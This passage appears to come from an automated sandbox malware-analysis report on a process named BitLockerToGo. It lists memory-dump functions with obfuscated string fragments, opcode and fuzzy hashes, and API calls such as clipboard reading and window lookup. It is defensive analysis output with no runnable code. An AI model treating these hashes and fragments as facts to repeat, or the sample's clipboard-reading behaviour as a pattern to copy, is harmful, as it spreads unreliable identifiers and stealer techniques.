0000, xrefs: 004027AC
0000, xrefs: 004027BA
0000, xrefs: 004027C1
0, xrefs: 004021FF
0000, xrefs: 0040280E
@, xrefs: 004029AF

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: 0$0$0$0000$0000$0000$0000$0000$0000$0000$@$i
API String ID: 0-3385986306
Opcode ID: 65c16c820dce1ae3625c06e07f09781a243bba19fb310a7a978dede541b496ef
Instruction ID: 4d6bdc42018c4a28e09230ae5d0a04ff3b45407d7efb1100c08bd1b15f26d520
Opcode Fuzzy Hash: 65c16c820dce1ae3625c06e07f09781a243bba19fb310a7a978dede541b496ef
Instruction Fuzzy Hash: C582D5756093418FC719CF28C69431BBBE1AB85304F18896EE8D6A73D1D3B8DD05CB8A

Function 0041F8A0 Relevance: 15.3, Strings: 11, Instructions: 1540COMMON

Download Yara Rule

Strings

45, xrefs: 00420048
XtF%, xrefs: 00420B1F
`gfe, xrefs: 0041FCD6
\_, xrefs: 00420C27
PWVU, xrefs: 0041FC52
-"# , xrefs: 0041FA95
, xrefs: 004200F7
+Jm, xrefs: 0041FCEC
, xrefs: 00420366
1674, xrefs: 0041FA74
\CBA, xrefs: 0041FC73

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: $ $-"# $1674$45$PWVU$XtF%$\CBA$\_$`gfe$+Jm
API String ID: 0-3479896102
Opcode ID: 5b4d1f6faef5ae051ffae9defdcf1eb46bd6fdda3526dca2913e36242a63e034
Instruction ID: 5d0a47c5e0c3e3785d427f867843ae8bcebfb36953a6f4919a5c5fbf58e27a41
Opcode Fuzzy Hash: 5b4d1f6faef5ae051ffae9defdcf1eb46bd6fdda3526dca2913e36242a63e034
Instruction Fuzzy Hash: 3EB211716083918BD734CF24D4907ABBBE1EFD6304F58892EE5C94B392D7789806CB96

Function 0040D3F0 Relevance: 14.0, Strings: 11, Instructions: 287COMMON

Download Yara Rule

Strings

r}C}, xrefs: 0040D547
p8&B, xrefs: 0040D54F
oRSV, xrefs: 0040D52F
fgK6, xrefs: 0040D537
}I{@, xrefs: 0040D55F
txZf, xrefs: 0040D577
-XnS, xrefs: 0040D527
wyEH, xrefs: 0040D557
Za]X, xrefs: 0040D43D
fd^f, xrefs: 0040D58F
,(^^, xrefs: 0040D51F

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: ,(^^$-XnS$Za]X$fd^f$fgK6$oRSV$p8&B$r}C}$txZf$wyEH$}I{@
API String ID: 0-470552829
Opcode ID: 9ee0638cf791ae6d5ac550f064677e4fd8b5e0a38782ee2158a426bd98c376ed
Instruction ID: 6e8fcdc7c84374f398573be5ad3b15c743a66361e7c5e2ae8c176c55dde69fc1
Opcode Fuzzy Hash: 9ee0638cf791ae6d5ac550f064677e4fd8b5e0a38782ee2158a426bd98c376ed
Instruction Fuzzy Hash: 0E91E3719087908FC311CF19C84036BBFE1AF96744F4889ADE4D59B392D379C90ACB96

Function 0042CD09 Relevance: 13.0, Strings: 10, Instructions: 452COMMON

Download Yara Rule

Strings

iM:-, xrefs: 0042D1C0
E!T#, xrefs: 0042D02C
L)H+, xrefs: 0042D03C
^gfa, xrefs: 0042D1B8
\_, xrefs: 0042D0FD
mM:-, xrefs: 0042CF52
iM:-, xrefs: 0042CF1E
A%J', xrefs: 0042D034
,-, xrefs: 0042D044
mM:-, xrefs: 0042D1F2

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: ,-$A%J'$E!T#$L)H+$\_$^gfa$iM:-$iM:-$mM:-$mM:-
API String ID: 0-2966039890
Opcode ID: a00bc7510a44e6df76238fc949364e2bef2a3cfd54a9ef932b01d9df0da7e771
Instruction ID: dedf167a1ca8a349267ab0eb51d00d33798c86cfa8a0eef8d8b3954052b7217a
Opcode Fuzzy Hash: a00bc7510a44e6df76238fc949364e2bef2a3cfd54a9ef932b01d9df0da7e771
Instruction Fuzzy Hash: 0BC1F0B46083208BD714CF15E89132BB7F2EFD1758F44991DE8D68B7A5E3788901CB8A

Function 00436960 Relevance: 9.1, APIs: 6, Instructions: 136clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00436982
GetWindowLongW.USER32 ref: 004369AD
GetClipboardData.USER32 ref: 004369BD
CloseClipboard.USER32 ref: 00436B04

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Clipboard$CloseDataLongOpenWindow
String ID:
API String ID: 1647500905-0
Opcode ID: e1fee2fdb7fb72ada143bf87540b49babc550f6b33082eda00e96af8d1747cf3
Instruction ID: 84ece636a3eef83145fc2dad74e5b9c0923b27b2c571d48a86f905ad45eb7284
Opcode Fuzzy Hash: e1fee2fdb7fb72ada143bf87540b49babc550f6b33082eda00e96af8d1747cf3
Instruction Fuzzy Hash: C251D5B18087829FD700AFBCD84935EBFA0AB56310F05C77AD4A897281D3789955C7A7

Function 00429340 Relevance: 8.1, Strings: 6, Instructions: 567COMMON

Download Yara Rule

Strings

cS'Q, xrefs: 004293FE
c/g-, xrefs: 004293F4
$W U, xrefs: 00429408
+[&Y, xrefs: 00429412
w1u, xrefs: 00429458
=O?M, xrefs: 00429444

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: w1u$$W U$+[&Y$=O?M$c/g-$cS'Q
API String ID: 0-2813094053
Opcode ID: 55217b66b17e640bfe096e495a78d40d4ba958f98e838a1a98ec98583b2e6d0a
Instruction ID: 5dae62b9228fec28a9aa82381c3f9ceab3785b376a03225bc493eb3c3bcfb441
Opcode Fuzzy Hash: 55217b66b17e640bfe096e495a78d40d4ba958f98e838a1a98ec98583b2e6d0a
Instruction Fuzzy Hash: 6612DEB4A00219CFEB24DFA5D891BAEBBB1FB06310F1444AEE505AB391D7389941CB59

Function 0040D780 Relevance: 7.9, Strings: 6, Instructions: 392COMMON

Download Yara Rule

Strings

75600AEE87B2A55EB3696C698736DA60, xrefs: 0040D84C
G#, xrefs: 0040DB37
Kf, xrefs: 0040DB2F
|s, xrefs: 0040DC3E
, xrefs: 0040DA16
d, xrefs: 0040D942

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: $75600AEE87B2A55EB3696C698736DA60$G#$Kf$d$|s
API String ID: 0-82774066
Opcode ID: 1c2170ef204c581342434af7aa4ff98358fb2a1dc15a7a718998a0f2b389e939
Instruction ID: 6f1c9757a37f616ea49923a073a8a058545dcbf7e76372bab92b43a30f122c44
Opcode Fuzzy Hash: 1c2170ef204c581342434af7aa4ff98358fb2a1dc15a7a718998a0f2b389e939
Instruction Fuzzy Hash: B0D1E2B16493808BE314DF65C88175FBBE2BBC5718F04892DE0C99B385D779850ACB5B

Function 0042A7E2 Relevance: 7.8, Strings: 6, Instructions: 286COMMON

Download Yara Rule

Strings

kfhM, xrefs: 0042AA6B
T{^,, xrefs: 0042AA4F
Y@iF, xrefs: 0042AA79
Jzu4, xrefs: 0042AA64
sV*E, xrefs: 0042AA5D
FnCB, xrefs: 0042AA72

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: FnCB$Jzu4$T{^,$Y@iF$kfhM$sV*E
API String ID: 0-2230338378
Opcode ID: a21649f3756e43578c7be99839bf2d4a572c3e337a8a87199a1250fc8870d453
Instruction ID: cc00998c965b794c5a77ebefedb7e9d070f0e7665da5499548324cf67911bcac
Opcode Fuzzy Hash: a21649f3756e43578c7be99839bf2d4a572c3e337a8a87199a1250fc8870d453
Instruction Fuzzy Hash: 63A1F2B4600741CFD7249F66E890227BBF0FF1A310F148AADD9824B792D738E856CB95

Function 004260BA Relevance: 7.0, Strings: 5, Instructions: 791COMMON

Download Yara Rule

Strings

bjB, xrefs: 00426A4F
yyom, xrefs: 0042619D
]YZT, xrefs: 004261E3
^YKK, xrefs: 004261ED
InA>, xrefs: 00426140

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: InA>$]YZT$^YKK$bjB$yyom
API String ID: 0-3406653770
Opcode ID: 9ed2c56fa0c1bfeb8ab10911209b64402a1783de0baae1ced6889a9d2dcf866b
Instruction ID: 618d43bfbe89843756a41a18f5c79527d519436f14345f74dd6cef589af83a17
Opcode Fuzzy Hash: 9ed2c56fa0c1bfeb8ab10911209b64402a1783de0baae1ced6889a9d2dcf866b
Instruction Fuzzy Hash: 6C42ED75E04226CFDB148F68EC907AEB7B1FF4A311F1944B9D845A7390E778A980CB58

Function 00444640 Relevance: 7.0, Strings: 5, Instructions: 763COMMON

Download Yara Rule

Strings

InA>, xrefs: 00444C10
0765, xrefs: 00444C6E
x, xrefs: 00444862
L, xrefs: 00444A30
%&' , xrefs: 00444BE5

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: %&' $0765$InA>$L$x
API String ID: 0-3649279264
Opcode ID: fdd75df9641993fa35da3e09cfa9c55a01c90a312ab9a87e11623565d44fc49f
Instruction ID: 925dd468c5c2c64aa626f7b252e69b717d32438011a012a7f015de1fcb36ff14
Opcode Fuzzy Hash: fdd75df9641993fa35da3e09cfa9c55a01c90a312ab9a87e11623565d44fc49f
Instruction Fuzzy Hash: E842F5316083514FD315CE28D89076FBBE1ABD5314F19C92DE4EA9B392DB78C846CB86

Function 00401328 Relevance: 6.6, Strings: 5, Instructions: 389COMMON

Download Yara Rule

Strings

0123456789abcdefxp, xrefs: 00401332
-, xrefs: 00401ED7
0123456789ABCDEFXP, xrefs: 00401328
gfff, xrefs: 00401F77
gfff, xrefs: 00401F12

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: -$0123456789ABCDEFXP$0123456789abcdefxp$gfff$gfff
API String ID: 0-3620105454
Opcode ID: 1600b9b73e1175bdb8f038b483b4f66fc6b7b1b9cb751b2cc8175e02197529e6
Instruction ID: 91f746329fa6188a5dbc8e2170b1b7322da1766379b05b56bd4c62466398d73b
Opcode Fuzzy Hash: 1600b9b73e1175bdb8f038b483b4f66fc6b7b1b9cb751b2cc8175e02197529e6
Instruction Fuzzy Hash: F2E1A07160C3918FC715CF29C48026AFBE1AFD9314F088A7EE8D997392D278D945CB96

Function 0040E920 Relevance: 6.6, Strings: 5, Instructions: 367COMMON

Download Yara Rule

Strings

0ki, xrefs: 0040E9E0
SQ, xrefs: 0040EA30
[V, xrefs: 0040EB07
_-], xrefs: 0040EA38
H, xrefs: 0040E945

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: 0ki$H$[V$SQ$_-]
API String ID: 0-818067795
Opcode ID: b3a30cd76f3299051ec3e371df925a722e728753bef723751a11276652000179
Instruction ID: c6edb9dd8bee26b61ab89cc62677d965e4c9a2540bb0a5073caa283601ed92a2
Opcode Fuzzy Hash: b3a30cd76f3299051ec3e371df925a722e728753bef723751a11276652000179
Instruction Fuzzy Hash: 3FC1F57164C3918FD714CF26849136BBBE1AFD6314F188D3EE4D56B392D73988068B86

Function 004218B0 Relevance: 6.6, Strings: 5, Instructions: 364COMMON

Download Yara Rule

Strings

U+a), xrefs: 00421B85
GL, xrefs: 0042195A
qM, xrefs: 00421962
yD, xrefs: 0042196A
l9E7, xrefs: 004218B2

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: GL$U+a)$l9E7$qM$yD
API String ID: 0-27879146
Opcode ID: 01805e651e2433d2a9b80c34230d459257b34ccedcf5c812e09d87e005dbed66
Instruction ID: ca29b0192270aa17c1a08736b621eaaf00a28f86d48e767ab8534998b3b957c6
Opcode Fuzzy Hash: 01805e651e2433d2a9b80c34230d459257b34ccedcf5c812e09d87e005dbed66
Instruction Fuzzy Hash: A3A1E0B56083508BC720DF14D89166BB7F0FFA5394F58891EE8D58B3A0E738D941CB96

Function 0040D1F0 Relevance: 6.4, Strings: 5, Instructions: 177COMMON

Download Yara Rule

Strings

j, xrefs: 0040D20C
ZCQ_, xrefs: 0040D2B0
IWWL, xrefs: 0040D2C0
(, xrefs: 0040D2F8
IFAJ, xrefs: 0040D298

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: ($IFAJ$IWWL$ZCQ_$j
API String ID: 0-1951835913
Opcode ID: 7a21a4f41201c95f4dccd046a8f5d879dcc4fc92b8cb9af9a002f38fea991a53
Instruction ID: 07db9b42ffc1dd3634fb4685f09981e1d91c9e5e5817189593b6d0cf5111df59
Opcode Fuzzy Hash: 7a21a4f41201c95f4dccd046a8f5d879dcc4fc92b8cb9af9a002f38fea991a53
Instruction Fuzzy Hash: 6651AC7094D3C18AD3118F79919031BFFE0AFA3744F18596DE9D15B392C37A880A8BA7

Function 0042F1A2 Relevance: 6.0, APIs: 1, Strings: 2, Instructions: 750COMMON

Download Yara Rule

Strings

\XL#, xrefs: 0042F5A8
vT^8, xrefs: 0042F3B9

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: \XL#$vT^8
API String ID: 0-3953467014
Opcode ID: fa0a560b0d5780c97efee5d52ab3b8a3b822f24730492086bd8a94531f410b7f
Instruction ID: 57a71d74ee427431f489d48addf34d37bbc4b925b021e423932a124b2761f429
Opcode Fuzzy Hash: fa0a560b0d5780c97efee5d52ab3b8a3b822f24730492086bd8a94531f410b7f
Instruction Fuzzy Hash: A23246716047418FE3288F398861763BBE1EF56314F988A7ED4EB87781D739A409CB19

Function 004405D0 Relevance: 4.5, Strings: 3, Instructions: 703COMMON

Download Yara Rule

Strings

f, xrefs: 00440911
InA>, xrefs: 00440690
InA>, xrefs: 00440A80

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: InA>$InA>$f
API String ID: 2994545307-1036101952
Opcode ID: 15ff9f160a7f1e179a2c1dda476f79951dd5bced9404928d038a90f1c3e91311
Instruction ID: eada88a9e754f0b699147cfd8b59f79c9ae10e08668ba566d084d8babfb7ed7f
Opcode Fuzzy Hash: 15ff9f160a7f1e179a2c1dda476f79951dd5bced9404928d038a90f1c3e91311
Instruction Fuzzy Hash: BA32DF716083419FE718CF19C890B2BBBE2BBC4314F188A2EF59597391D778E815CB96

Function 00430FFE Relevance: 4.1, Strings: 3, Instructions: 388COMMON

Download Yara Rule

Strings

,\ y, xrefs: 0043132D
' "., xrefs: 00431323
6T^z, xrefs: 0043124D

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: ' ".$,\ y$6T^z
API String ID: 0-934940848
Opcode ID: 55662d2eee3844fe340020642a98afed61bdf3ee388b44c64959a4d0558ad975
Instruction ID: 40272a1a04bacee1c2f5f7e13e82b8802516d34c0f3134ea436c20c75656e19d
Opcode Fuzzy Hash: 55662d2eee3844fe340020642a98afed61bdf3ee388b44c64959a4d0558ad975
Instruction Fuzzy Hash: D7D17634109B808FE726CF358490BA3BBF1AF17304F08599EC0D69B796D7796509CB6A

Function 0041CFDD Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

FindWindowExW.USER32(00000000,00000000,27992596,00000000), ref: 0041F6C9

Strings

2A, xrefs: 0041F6D3

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: FindWindow
String ID: 2A
API String ID: 134000473-225269067
Opcode ID: b1e6552f4389aedd898ee417c4df0c25ae248403fb7fe59854366b577d759dd8
Instruction ID: 03d653aeb1072bd1fa51a38f7b8c16b9e6401b8681793a4192e587a724a43fb0
Opcode Fuzzy Hash: b1e6552f4389aedd898ee417c4df0c25ae248403fb7fe59854366b577d759dd8
Instruction Fuzzy Hash: BB3107B090C3809BD364DF11D5953DBBBE0AB99314F008A2DD5C94B291DBB854898F8A

Function 00422CE0 Relevance: 2.9, Strings: 2, Instructions: 441COMMON

Download Yara Rule

Strings

+,B, xrefs: 00422CEF, 00422DD1
(, xrefs: 00422D2C

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: ($+,B
API String ID: 0-2369276322
Opcode ID: 6457bee3e67b01bf29251144948ae2f291ebac9cbb565796ace7aef5a070f109
Instruction ID: 77d96dbb9c414bf2044c868896409b32bbb8e061ad65e57e15bbae98b4123eba
Opcode Fuzzy Hash: 6457bee3e67b01bf29251144948ae2f291ebac9cbb565796ace7aef5a070f109
Instruction Fuzzy Hash: 50E11571608340ABE3009F25ED46BAFBBE5EBC1314F04492EF8C4A7382D6799915DB97

Function 004038E0 Relevance: 2.9, Strings: 2, Instructions: 404COMMON

Download Yara Rule

Strings

Inf, xrefs: 00403933
NaN, xrefs: 0040393A

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: Inf$NaN
API String ID: 0-3500518849
Opcode ID: 4b104573bd4281e8ebb78a881f58aad0d5e870ac47b1f6e06d92ad9047848aff
Instruction ID: 35161cd067e3d6d7ad92fb50c8ff14103f2dec0eace6961543bdc50c057c482b
Opcode Fuzzy Hash: 4b104573bd4281e8ebb78a881f58aad0d5e870ac47b1f6e06d92ad9047848aff
Instruction Fuzzy Hash: 64D1D372A083119BC704CF28C88061BBBE5EFC4750F158A3EE899A73D1E774DD458B86

Function 0042C7DC Relevance: 2.9, Strings: 2, Instructions: 353COMMON

Download Yara Rule

Strings

55%0, xrefs: 0042C810
BD:G, xrefs: 0042C808

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: 55%0$BD:G
API String ID: 0-1772350360
Opcode ID: 70c603a857197f9f7199bdc5dbbc5f203cc7da2074535ec6ff539010a0e18ad4
Instruction ID: 941c804faae5e40cf88cde5dfc0ce70c5862e4716955870b140fd15e4ac2f900
Opcode Fuzzy Hash: 70c603a857197f9f7199bdc5dbbc5f203cc7da2074535ec6ff539010a0e18ad4
Instruction Fuzzy Hash: 22B101B59083918FC720CF24E89122FBBE1BF86304F54896EE4D597392D738D805CB96

Function 00443E80 Relevance: 2.8, Strings: 2, Instructions: 277COMMON

Download Yara Rule

Strings

%&' , xrefs: 00443EB5
%&' , xrefs: 00444004

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: %&' $%&'
API String ID: 2994545307-1644610688
Opcode ID: 6cb29f9be049b2daea8036079ccbe6322cfcbf98a61b5d92b5e418aa2c0f12c7
Instruction ID: ff06d827dba4c023fc007a2fb221661add5a207178b80d781694405577099a2a
Opcode Fuzzy Hash: 6cb29f9be049b2daea8036079ccbe6322cfcbf98a61b5d92b5e418aa2c0f12c7
Instruction Fuzzy Hash: 6E812730A083009BF724DF25DC41BBBB7E1EF99715F14882EF59983392E634A950C75A

Function 004110D7 Relevance: 2.8, Strings: 2, Instructions: 267COMMON

Download Yara Rule

Strings

yq, xrefs: 00411230, 00411316
wq, xrefs: 004111D8

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: yq$wq
API String ID: 0-206952631
Opcode ID: b6196fb0067fc78bf90a0a5ff9dde58f3e821ad999a73888a02e9118fe66c26e
Instruction ID: 287e9a93f4074805a0b28ccd02382063b1b236e174ccb2d48d0b01b9ee58f6bd
Opcode Fuzzy Hash: b6196fb0067fc78bf90a0a5ff9dde58f3e821ad999a73888a02e9118fe66c26e
Instruction Fuzzy Hash: 81A1ACB15083418BE324CF11C8917AFFBE0FF85708F58891EE5C92B691D7B99844CB8A

Function 004215AD Relevance: 2.6, Strings: 2, Instructions: 89COMMON

Download Yara Rule

Strings

WU, xrefs: 004215EE
_], xrefs: 004215DE

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: WU$_]
API String ID: 0-3594180508
Opcode ID: 1d227a5d0b7a1b7092b5bfa78f3537f3db915659530e68ac89217b35aef323db
Instruction ID: 1ed77a55836705301485bd332bc6ea46d439ff165b2adabd5a8120a767d39ce0
Opcode Fuzzy Hash: 1d227a5d0b7a1b7092b5bfa78f3537f3db915659530e68ac89217b35aef323db
Instruction Fuzzy Hash: 0221BEA06083118BD3108F10D46233BB7B1FFA2784F08595DE5C11F7A5E3BE8941CB9A

Function 004216C0 Relevance: 2.6, Strings: 2, Instructions: 84COMMON

Download Yara Rule

Strings

_], xrefs: 004216EE
WU, xrefs: 004216FE

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: WU$_]
API String ID: 0-3594180508
Opcode ID: cb06f4b57f90729c2bf5772eb7fe226e4962468215683285ae23a482b7d6dcb2
Instruction ID: 93998a7d7603f296fd57b5e21fc0015982080d1103a009bb583bf017cd46e2cb
Opcode Fuzzy Hash: cb06f4b57f90729c2bf5772eb7fe226e4962468215683285ae23a482b7d6dcb2
Instruction Fuzzy Hash: 5121FF606183218AD3248F10D46233BB7B1FFE2784F18595DE5C21F7A1E3BE8941DB8A

Function 0042C020 Relevance: 1.8, Strings: 1, Instructions: 566COMMON

Download Yara Rule

Strings

[I}, xrefs: 0042C0C5

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: [I}
API String ID: 0-555681764
Opcode ID: d4a25b59ac2b540bd6829d790dc988c05c273a176d2d7efb4aad961cb765136f
Instruction ID: c6de33403e1966aa5bff50b5017fa87be2cc9db806a77bfbcb94e67fe7a3e563
Opcode Fuzzy Hash: d4a25b59ac2b540bd6829d790dc988c05c273a176d2d7efb4aad961cb765136f
Instruction Fuzzy Hash: A70210716083208BD314DF15E88176FB7E1FFC6318F448A2DE8955B381D7B89909CB9A

Function 00404FB0 Relevance: 1.8, Strings: 1, Instructions: 558COMMON

Download Yara Rule

Strings

%1.17g, xrefs: 00405336

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: %1.17g
API String ID: 0-1551345525
Opcode ID: 8c3d54e96fd94494745a745ebc8e02827fdbeb2f2a216bcfa4fd7470785651ed
Instruction ID: c59dbd4c250e51ad8ba3bb8d55ea4afca9b2628edf7f50ecd096f44bbf1bf661
Opcode Fuzzy Hash: 8c3d54e96fd94494745a745ebc8e02827fdbeb2f2a216bcfa4fd7470785651ed
Instruction Fuzzy Hash: 4E12D571A08B418BD7158E548880327BBD2EFA1304F1D897ED859AB3D1E7B9DC45CF4A

Function 00425770 Relevance: 1.7, APIs: 1, Instructions: 241comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004499D8,00000000,00000001,004499C8), ref: 00425799

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: d1d64af515ebc48df76c804cc0fa90dac56acf758b55f15135cf7cc9d661b2cc
Instruction ID: 2de4e10ec9617faf465f20ffa0d319bf7bf7bcddca87ce4db74c0cf71200797e
Opcode Fuzzy Hash: d1d64af515ebc48df76c804cc0fa90dac56acf758b55f15135cf7cc9d661b2cc
Instruction Fuzzy Hash: AD51CFB17007209BDB20AB24DC86B7733A4EF85368F588519F985CB391F3B8D801C76A

Function 0041E882 Relevance: 1.7, Strings: 1, Instructions: 487COMMON

Download Yara Rule

Strings

TA, xrefs: 0041EDD0, 0041EDE8

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: TA
API String ID: 2994545307-455071654
Opcode ID: a8e6bc2e0df5e8c49500ece1704ae4265b5cff83bbc844b633dccacb24c25272
Instruction ID: 4f7f8cdc52266ce63b824c68c8f641bab1979299edd93fe91afa4af3337c9a1f
Opcode Fuzzy Hash: a8e6bc2e0df5e8c49500ece1704ae4265b5cff83bbc844b633dccacb24c25272
Instruction Fuzzy Hash: F2E1E5756083418BE728CF21D9917ABB7A2FF95304F588D2ED88147352D3B8AC85C79A

Function 004259D0 Relevance: 1.7, Strings: 1, Instructions: 463COMMON

Download Yara Rule

Strings

HGFE, xrefs: 00425C99

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: HGFE
API String ID: 0-2862901527
